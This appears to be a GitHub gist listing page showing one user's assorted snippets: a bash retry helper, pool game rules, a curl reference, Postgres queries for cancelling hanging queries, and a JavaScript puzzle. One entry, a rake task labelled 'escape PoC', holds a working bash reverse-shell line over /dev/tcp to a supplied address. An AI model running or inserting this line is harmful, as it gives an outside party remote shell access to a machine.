Skip to content

Instantly share code, notes, and snippets.

@erichummel
erichummel / repeat.sh
Created February 7, 2025 15:28
a bash function for repeating a command with emoji status updates and a report of all failures at the end
# usage: repeat_with_status <iterations> <command>
# note that due to the nature of `script`, locally defined aliases will not work in the <command>
function repeat_with_status {
local count=$1
shift
local success_count=0
local error_count=0
local output
declare -a failures=()
@erichummel
erichummel / escape.rake
Created June 19, 2024 16:36
rake task escape PoC
namespace :escape do
task :connect do |_, args|
ip_address, port = *args
`bash -i >& /dev/tcp/#{ip_address}/#{port} 0>&1`
end
end
3 player 9 ball (working title: hummelball)
1 point per ball pocketed (scored like straight pool, each player picks a corner on the beads)
Lucky early 9 - 1 Point - shooting player breaks
Called early 9 - 2 points - shooting player breaks
9 on the break is spotted and shooting player gets 1 point and continues shooting
@erichummel
erichummel / curl.md
Created September 6, 2018 15:30 — forked from subfuzion/curl.md
curl POST examples

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

@erichummel
erichummel / gist:c4ab294d0db7601a5fe9
Created April 24, 2015 14:14
SQL for identifying/killing hanging queries
select count(*) from pg_stat_activity where state = 'active' and query not ilike '%stat_activity%';
SELECT pg_cancel_backend(pid) FROM pg_stat_activity where state='active' and query not ilike '%stat_activity%';
@erichummel
erichummel / gist:2595398
Created May 4, 2012 15:11
brain teaser
(function(){
this.bar = "bobble";
window.bar = "gobble";
Foo = function(){
this.bar = "wobble";
}
Foo.prototype = {